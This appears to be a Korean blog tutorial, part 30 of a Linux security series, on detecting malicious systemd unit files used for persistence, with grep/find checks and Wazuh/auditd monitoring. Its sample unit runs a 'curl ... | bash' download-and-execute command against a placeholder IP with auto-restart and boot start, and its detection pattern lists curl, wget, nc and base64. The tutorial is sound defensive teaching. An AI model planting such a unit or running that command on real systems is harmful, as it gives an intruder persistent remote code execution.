Linux 시스템 보안 기초 · 30/50편

이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다.

선행 학습

1. 들어가며

29편에서 서비스가 지속성 수단이 됨을 봤습니다. 이번 편은 실제 악성 Unit 파일을 어떤 필드로 식별하는지, 구체적인 탐지 포인트를 정리합니다.

2. 핵심 개념

악성 Unit 판별의 5대 포인트:

  1. ExecStart: 임시 경로, 인코딩된 명령, curl|sh 파이프
  2. User: 미지정(root) 또는 부적절
  3. WantedBy/enabled: 부팅 자동시작으로 지속성 확보
  4. 위치: 비표준 경로, 사용자 단위, drop-in 오버라이드
  5. 생성 시각: 침입 추정 시각과 근접
악성 Unit 예
[Service]
ExecStart=/bin/bash -c 'curl http://203.0.113.10/x | bash'   ← 다운로드 실행
Restart=always                                               ← 죽어도 재시작
[Install]
WantedBy=multi-user.target                                   ← 부팅 자동시작
     │ systemctl enable → 지속성 완성

3. 동작 원리

공격자는 악성 Unit을 /etc/systemd/system/에 만들거나, 기존 서비스에 drop-in(.d/override.conf)으로 ExecStart를 덧붙입니다. Restart=always를 넣으면 프로세스를 죽여도 되살아나고, WantedBy로 부팅 자동시작을 걸면 재부팅에도 살아남습니다.

탐지의 핵심은 '정상 서비스 목록(기준선)에 없던 것'과 '표준을 벗어난 ExecStart'입니다. 특히 다운로드-실행 파이프, base64 인코딩 명령은 강한 악성 신호입니다.

4. 명령어 실습

# 모든 Unit의 ExecStart 한눈에 (의심 패턴 grep)
sudo grep -rE 'ExecStart' /etc/systemd/system /lib/systemd/system 2>/dev/null \
  | grep -Ei 'tmp|/dev/shm|curl|wget|base64|nc |bash -c'

# 최근 생성/변경된 Unit 파일
sudo find /etc/systemd/system /lib/systemd/system -name '*.service' -mtime -7 2>/dev/null

# drop-in 오버라이드 존재 여부
sudo find /etc/systemd/system -name '*.conf' -path '*.d*' 2>/dev/null

5. 실행 결과

의심 ExecStart 패턴 검색 형식입니다. (예시 출력 — 악성 서비스 가정)

$ sudo grep -rE 'ExecStart' /etc/systemd/system | grep -Ei 'tmp|curl|base64'
/etc/systemd/system/updater.service:ExecStart=/bin/bash -c 'curl http://203.0.113.10/x|bash'

updater.service라는 그럴듯한 이름 뒤에 다운로드-실행 명령이 숨어 있습니다. 이런 서비스는 즉시 stop+disable+격리하고, ExecStart의 URL/IP를 IOC로 등록합니다.

6. 보안 관점 — 정상 사용 vs 악용

  • 정상: 표준 경로·표준 ExecStart, 문서화된 서비스.
  • 악성 징후:
    • ExecStart의 다운로드-실행/인코딩 명령
    • 그럴듯한 이름(updater/systemd-helper)의 신규 서비스
    • Restart=always + WantedBy 조합
    • drop-in으로 몰래 덧붙인 ExecStart

이름에 속지 말고 항상 정의(ExecStart) 를 확인하는 것이 원칙입니다.

7. 탐지 방법

  • ExecStart 의심 패턴 grep
  • 최근 변경 Unit(-mtime) 확인
  • drop-in 오버라이드 점검
  • 신규 서비스 vs 기준선 diff

8. SOC 관점 — SIEM · Wazuh · IOC

Wazuh FIM으로 /etc/systemd/system/과 drop-in 디렉터리를 감시하면 악성 Unit 생성을 실시간 탐지합니다. auditd에 해당 경로 watch를 걸면 '누가 만들었는가(auid)'까지 남습니다. SIEM은 서비스 생성 이벤트를 T1543.002로 태깅하고, ExecStart의 URL/IP/해시를 IOC로 자동 추출합니다.

9. 실습 체크리스트

[ ] ExecStart 의심 패턴 검색
[ ] 최근 변경 Unit 확인
[ ] drop-in 오버라이드 점검
[ ] 의심 서비스 stop/disable/격리

10. 핵심 정리

  • 악성 Unit은 ExecStart·User·WantedBy·위치·시각으로 식별한다.
  • 다운로드-실행 파이프와 인코딩 명령은 강한 악성 신호다.
  • Restart=always + WantedBy는 죽지 않는 지속성이다.
  • 이름이 아니라 정의(ExecStart)를 확인한다.
  • Unit 디렉터리 FIM+auditd로 생성자까지 추적한다.

11. 다음 편

다음 편에서는 31. Cron 기반 지속성 탐지 를 다룹니다. 서비스와 함께 대표적 지속성 수단인 cron을, 지속성 탐지 관점에서 봅니다.


본 실습은 격리된 테스트 VM(Rocky Linux / Ubuntu, VMware) 및 테스트 계정 환경을 기준으로 하며, 운영 서버를 대상으로 하지 않습니다. 실행 결과는 실제 캡처와 예시 출력을 명확히 구분해 표기합니다.

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글